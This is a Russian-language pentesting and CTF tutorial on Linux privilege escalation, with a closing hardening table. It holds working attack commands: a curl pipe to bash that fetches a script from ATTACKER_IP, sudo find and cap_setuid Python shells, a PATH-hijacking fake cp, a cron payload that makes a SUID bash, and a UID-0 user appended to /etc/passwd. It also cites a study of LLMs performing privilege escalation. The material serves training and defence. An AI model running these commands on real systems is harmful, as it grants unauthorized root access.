Ты получил shell на машине. Курсор мигает от имени
www-data или какого-нибудь low-priv-user. До root - один шаг, но этот шаг может занять пять минут или пять часов. Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.Что такое privilege escalation Linux и зачем это пентестеру
Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от
Ссылка скрыта от гостей
) до
Ссылка скрыта от гостей
и Sudo and Sudo Caching (T1548.003).На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из
/etc/shadow, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.Повышение привилегий бывает двух видов:
- Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
- Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Ручная разведка: первые команды после foothold
Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK:whoami/id - System Owner/User Discovery (T1033), hostname/uname -a/cat /etc/os-release - System Information Discovery (T1082).Кто я и где я
Bash:
whoami # текущий пользователь
id # UID, GID и группы - обрати внимание на docker, lxd, disk
hostname # имя хоста - часто подсказывает роль сервера
uname -a # ядро и архитектура - критично для kernel exploits
cat /etc/os-release # дистрибутив и версия
id может сразу дать вектор. Если пользователь в группе docker, lxd или disk - считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.Проверка sudo
Bash:
sudo -l # какие команды можно выполнять через sudo
sudo -V # версия sudo - старые версии бывают дырявыми
sudo -l - первое, что я набираю на любой машине. Если в выводе NOPASSWD и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.Поиск SUID-бинарей
Bash:
find / -perm -4000 -type f -ls 2>/dev/null
Cron-задачи и таймеры
Bash:
cat /etc/crontab # системные cron-задачи
ls -la /etc/cron.d/ # дополнительные cron-конфиги
ls -la /etc/cron.daily/ /etc/cron.hourly/ # периодические задачи
systemctl list-timers --all 2>/dev/null # systemd-таймеры
Сеть и сервисы
Bash:
ip a # сетевые интерфейсы - ищи dual-homed
ss -tlnp # слушающие порты - внутренние сервисы
cat /etc/hosts # записи hosts - могут указать на другие машины
История и пароли
Bash:
history # команды предыдущих сессий
cat ~/.bash_history 2>/dev/null # история bash
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -20
grep -ri "password" /etc/ 2>/dev/null | head -20
LinPEAS: автоматизация разведки для повышения привилегий
LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.Как запустить LinPEAS
Ты уже на целевой машине. Способ доставки зависит от ситуации:Вариант 1 - через HTTP-сервер атакующего:
Bash:
# На атакующей машине (Kali/Parrot):
python3 -m http.server 8080
# На целевой машине:
curl http://ATTACKER_IP:8080/linpeas.sh | bash
Bash:
# На целевой машине:
wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Bash:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/linpeas_output.txt
/proc, а auditd всё зафиксирует.Как читать вывод LinPEAS
LinPEAS использует цветовую маркировку. Вот что реально важно:| Цвет | Значение | Действие |
|---|---|---|
| Красный/Жёлтый | С вероятностью 95% это вектор повышения привилегий | Эксплуатируй - почти наверняка рабочий вектор |
| Красный | Нужно изучить - может потребовать дополнительных условий | Копни глубже перед эксплуатацией |
| Зелёный | Интересная информация для дальнейшего анализа | Запомни на потом |
| Синий | Обычная системная информация | Используй для контекста |
Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
- SUID-бинари, которые есть в GTFOBins
- Cron-задачи, запускающие скрипты с записью для всех
- Sudo-правила с NOPASSWD для опасных команд
- Writable файлы в PATH
- Capabilities вроде
cap_setuidна бинарях - Пароли в конфигурационных файлах
LinEnum: альтернатива для повышения привилегий Linux
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).Запуск LinEnum
Bash:
# Доставка аналогична LinPEAS:
wget http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t # флаг -t включает расширенные проверки
Сравнение инструментов автоматизации
| Инструмент | Назначение | Цветовая маркировка | Скорость | Глубина |
|---|---|---|---|---|
| LinPEAS | Полная разведка привилегий | Да | Средняя | Максимальная |
| LinEnum | Перечисление системной информации | Нет | Высокая | Средняя |
| pspy | Мониторинг процессов без root | Нет | Реальное время | Узкая (процессы) |
| Linux Exploit Suggester | Поиск kernel exploits | Нет | Высокая | Узкая (ядро) |
| Linux Smart Enumeration | Перечисление с уровнями детализации | Частично | Средняя | Настраиваемая |
pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в
/etc/crontab (пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.
Bash:
# Запуск pspy:
./pspy64 # для 64-bit систем
# или
./pspy32 # для 32-bit
Техники повышения привилегий Linux: пошаговые примеры
Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.Sudo misconfiguration: злоупотребление правами sudo
Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.Шаг 1 - проверяем sudo-права:
Bash:
sudo -l
Код:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
Идём на
Ссылка скрыта от гостей
и ищем find. В разделе "Sudo":
Bash:
sudo find . -exec /bin/bash \; -quit
Bash:
sudo find . -exec /bin/bash \; -quit
whoami
# root
find с флагом -exec выполняет любую команду. NOPASSWD - даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.Другие опасные бинари в sudo:
vim, nano, less, awk, perl, python, ruby, env, man. Каждый позволяет получить shell. Видишь любой из них в выводе sudo -l - сразу проверяй GTFOBins.SUID бит Linux: эксплуатация через бинари с setuid
SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).Шаг 1 - находим SUID-бинари:
Bash:
find / -perm -4000 -type f -ls 2>/dev/null
Код:
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mount
131090 44 -rwsr-xr-x 1 root root 44784 Jan 27 2020 /usr/bin/newgrp
131143 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
262285 20 -rwsr-xr-x 1 root root 16712 Sep 1 2020 /opt/custom-backup
mount, passwd, ping) - норма, они тут живут. Нас интересуют нестандартные: /opt/custom-backup - вот это уже подозрительно.Шаг 2 - анализируем нестандартный бинарь:
Bash:
file /opt/custom-backup
strings /opt/custom-backup | head -30
ltrace /opt/custom-backup 2>&1 | head -20 # если ltrace доступен
strings показывает вызов внешней команды без полного пути (просто cp вместо /usr/bin/cp) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через system()/popen() (они используют shell и переменную PATH). Если бинарь использует execve() с абсолютным путём - этот фокус не пройдёт. Проверить можно через ltrace или strace (если доступен).Шаг 3 - эксплуатация через PATH:
Bash:
# Создаём вредоносный "cp" в /tmp:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp
# Подменяем PATH:
export PATH=/tmp:$PATH
# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
-p у bash - критически важен. Без него bash сбросит привилегии. С -p он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (__libc_enable_secure) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, аsystem()может использовать/bin/sh→dash, который ведёт себя иначе. Проверяй, какой shell используетsystem()и не сбрасывается ли PATH в конкретной среде.
Cron jobs privilege escalation: эксплуатация планировщика задач
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.Шаг 1 - находим cron-задачи:
Bash:
cat /etc/crontab
ls -la /etc/cron.d/
Код:
* * * * * root /opt/scripts/backup.sh
Bash:
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
777 - writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.Шаг 3 - внедряем payload:
Bash:
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
Bash:
# Через минуту:
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
/etc/crontab, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит /proc напрямую.Kernel exploit: эксплуатация уязвимостей ядра
Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).Классический пример -
Ссылка скрыта от гостей
. По данным NVD: race condition в mm/gup.c в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE: CWE-362 (Race Condition).Разбор CVSS-вектора (чтобы не казался магическими буквами):
AV:L- атака локальная, нужен доступ к системеAC:H- высокая сложность (race condition - надо поймать момент)PR:L- достаточно низких привилегийUI:N- действия пользователя не требуются
Bash:
# 1. Узнаём версию ядра:
uname -r
# Пример: 3.13.0-24-generic
# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh
# 3. Или ищем вручную:
searchsploit linux kernel 3.13 privilege escalation
Writable /etc/passwd: добавление root-пользователя
Если файл/etc/passwd доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.
Bash:
# Проверяем права:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl passwd -6 -salt xyz password123
# $6$xyz$rD...hash...
# Добавляем пользователя с UID 0:
echo 'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash' >> /etc/passwd
# Переключаемся:
su hacker
# Вводим password123
whoami
# root
Пошаговый чейн: от shell до root
Собираю всё в единый алгоритм - так я работаю на реальной машине:Делай раз - базовая разведка руками:
Bash:
whoami && id
uname -a
sudo -l
cat /etc/crontab
find / -perm -4000 -type f -ls 2>/dev/null
sudo -l даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.Делай два - запускай LinPEAS:
Bash:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/lp.txt
getcap -r / 2>/dev/null), writable директории в PATH и конфиги с паролями.Делай три - мониторинг и глубокий анализ:
Bash:
# Если ничего не нашлось - запускай pspy:
./pspy64
# Параллельно ищи пароли:
grep -ri "pass\|pwd\|credential" /var/www/ /opt/ /home/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/null | xargs grep -li "password" 2>/dev/null
Как автоматика конкурирует с ручным анализом
Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить
/usr/bin/python3 с capability cap_setuid красным цветом, но конвертировать эту находку в root shell должен ты:
Bash:
# Пример: Python с cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Защита и Linux hardening: что закрывать
Понимание атак даёт понимание защиты. Конкретные рекомендации:| Вектор атаки | Мера защиты |
|---|---|
| Sudo misconfiguration | Никогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путём |
| SUID на нестандартных бинарях | Регулярно аудитировать: find / -perm -4000 -type f -ls. Снимать SUID-бит с ненужных файлов: chmod u-s /path/to/binary |
| Writable cron-скрипты | Владелец root, права 700 или 755. Никогда не 777 |
| Устаревшее ядро | Обновлять ядро. Использовать livepatch для критичных систем, где перезагрузка невозможна |
| Пароли в конфигах | Vault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунт |
| Writable /etc/passwd | Права: /etc/passwd - 644, /etc/shadow - 640. Мониторить изменения через auditd |
Итоги
Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.